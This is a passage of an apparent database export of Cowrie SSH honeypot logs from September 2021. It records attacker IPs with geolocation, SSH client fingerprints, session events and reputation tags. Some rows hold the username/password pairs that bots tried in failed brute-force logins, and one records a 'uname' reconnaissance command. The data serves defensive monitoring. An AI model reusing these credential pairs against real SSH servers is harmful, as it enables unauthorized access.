"ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "62c21894c061", "@version": "1", "timestamp": "2021-09-20T11:06:25.153867Z", "@timestamp": "2021-09-20T11:06:25.153Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
21972	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:25.270834+03	2021-09-20 14:15:04.326612+03	{"_id": "QAXiAnwBvYTbRNuEvP41", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "fa51fa9ef0bd", "@version": "1", "duration": 3.0711686611175537, "timestamp": "2021-09-20T11:06:25.270834Z", "@timestamp": "2021-09-20T11:06:25.270Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
21974	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:25.355557+03	2021-09-20 14:15:04.328612+03	{"_id": "QgXiAnwBvYTbRNuEvP41", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "129aae4c0a88", "@version": "1", "timestamp": "2021-09-20T11:06:25.355557Z", "@timestamp": "2021-09-20T11:06:25.355Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
21975	223.241.247.214	109.199.241.180	Cowrie	2021-09-20 14:06:25.399808+03	2021-09-20 14:15:04.330613+03	{"_id": "QwXiAnwBvYTbRNuEvP41", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 44, "type": "Cowrie", "geoip": {"ip": "223.241.247.214", "asn": 4134, "as_org": "Chinanet", "latitude": 31.8642, "location": {"lat": 31.8642, "lon": 117.2865}, "timezone": "Asia/Shanghai", "longitude": 117.2865, "region_code": "AH", "region_name": "Anhui", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39", "src_ip": "223.241.247.214", "ttylog": "log/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39 after 0 seconds", "session": "93a2eacc7d8b", "@version": "1", "duration": 0.5777218341827393, "duplicate": true, "timestamp": "2021-09-20T11:06:25.399808Z", "@timestamp": "2021-09-20T11:06:25.399Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
21976	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:25.506629+03	2021-09-20 14:15:04.331613+03	{"_id": "RAXiAnwBvYTbRNuEvP41", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.login.failed", "message": "login attempt [zero/sn00p0wnz] failed", "session": "157a4ae18a99", "@version": "1", "password": "sn00p0wnz", "username": "zero", "timestamp": "2021-09-20T11:06:25.506629Z", "@timestamp": "2021-09-20T11:06:25.506Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
21977	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:25.515008+03	2021-09-20 14:15:04.332613+03	{"_id": "RQXiAnwBvYTbRNuEvP41", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.login.failed", "message": "login attempt [suporte/123] failed", "session": "3449431e51cd", "@version": "1", "password": "123", "username": "suporte", "timestamp": "2021-09-20T11:06:25.515008Z", "@timestamp": "2021-09-20T11:06:25.515Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
21978	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:06:25.564199+03	2021-09-20 14:15:04.333612+03	{"_id": "RgXiAnwBvYTbRNuEvP41", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "9394aeab2409", "@version": "1", "duration": 2.3930091857910156, "timestamp": "2021-09-20T11:06:25.564199Z", "@timestamp": "2021-09-20T11:06:25.564Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
21997	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:06:17.516131+03	2021-09-20 14:15:04.362612+03	{"_id": "3wXiAnwBvYTbRNuEnfwk", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.login.failed", "message": "login attempt [manager/123456] failed", "session": "3420f9617213", "@version": "1", "password": "123456", "username": "manager", "timestamp": "2021-09-20T11:06:17.516131Z", "@timestamp": "2021-09-20T11:06:17.516Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
21979	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:25.612724+03	2021-09-20 14:15:04.334612+03	{"_id": "RwXiAnwBvYTbRNuEvP41", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "ed558b78f6a3", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:06:25.612724Z", "@timestamp": "2021-09-20T11:06:25.612Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
21980	223.241.247.214	109.199.241.180	Cowrie	2021-09-20 14:06:25.823138+03	2021-09-20 14:15:04.336614+03	{"_id": "SAXiAnwBvYTbRNuEvP41", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "bsd-aarch64-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "223.241.247.214", "asn": 4134, "as_org": "Chinanet", "latitude": 31.8642, "location": {"lat": 31.8642, "lon": 117.2865}, "timezone": "Asia/Shanghai", "longitude": 117.2865, "region_code": "AH", "region_name": "Anhui", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "223.241.247.214", "eventid": "cowrie.session.params", "message": [], "session": "93a2eacc7d8b", "@version": "1", "timestamp": "2021-09-20T11:06:25.823138Z", "@timestamp": "2021-09-20T11:06:25.823Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
21981	223.241.247.214	109.199.241.180	Cowrie	2021-09-20 14:06:25.823683+03	2021-09-20 14:15:04.338613+03	{"_id": "SQXiAnwBvYTbRNuEvP41", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "223.241.247.214", "asn": 4134, "as_org": "Chinanet", "latitude": 31.8642, "location": {"lat": 31.8642, "lon": 117.2865}, "timezone": "Asia/Shanghai", "longitude": 117.2865, "region_code": "AH", "region_name": "Anhui", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "uname", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "223.241.247.214", "eventid": "cowrie.command.input", "message": "CMD: uname", "session": "93a2eacc7d8b", "@version": "1", "timestamp": "2021-09-20T11:06:25.823683Z", "@timestamp": "2021-09-20T11:06:25.823Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
21982	42.63.158.253	109.199.241.180	Cowrie	2021-09-20 14:06:25.825038+03	2021-09-20 14:15:04.339613+03	{"_id": "SgXiAnwBvYTbRNuEvP41", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "42.63.158.253", "asn": 4837, "as_org": "CNCGROUP China169 Backbone", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "42.63.158.253", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "0519a0a73be2", "@version": "1", "duration": 3.339747667312622, "timestamp": "2021-09-20T11:06:25.825038Z", "@timestamp": "2021-09-20T11:06:25.825Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
21983	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:06:25.825634+03	2021-09-20 14:15:04.340613+03	{"_id": "SwXiAnwBvYTbRNuEvP41", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "e63a7fa3aa45", "@version": "1", "timestamp": "2021-09-20T11:06:25.825634Z", "@timestamp": "2021-09-20T11:06:25.825Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
21989	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:26.365303+03	2021-09-20 14:15:04.349612+03	{"_id": "aAXiAnwBvYTbRNuEwP4Z", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 27.69.246.93:58876 (192.168.176.2:22) [session: 9354f792962c]", "session": "9354f792962c", "@version": "1", "protocol": "ssh", "src_port": 58876, "dest_port": 22, "timestamp": "2021-09-20T11:06:26.365303Z", "@timestamp": "2021-09-20T11:06:26.365Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
21984	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:25.842676+03	2021-09-20 14:15:04.341613+03	{"_id": "TAXiAnwBvYTbRNuEvP41", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "ed558b78f6a3", "@version": "1", "timestamp": "2021-09-20T11:06:25.842676Z", "@timestamp": "2021-09-20T11:06:25.842Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-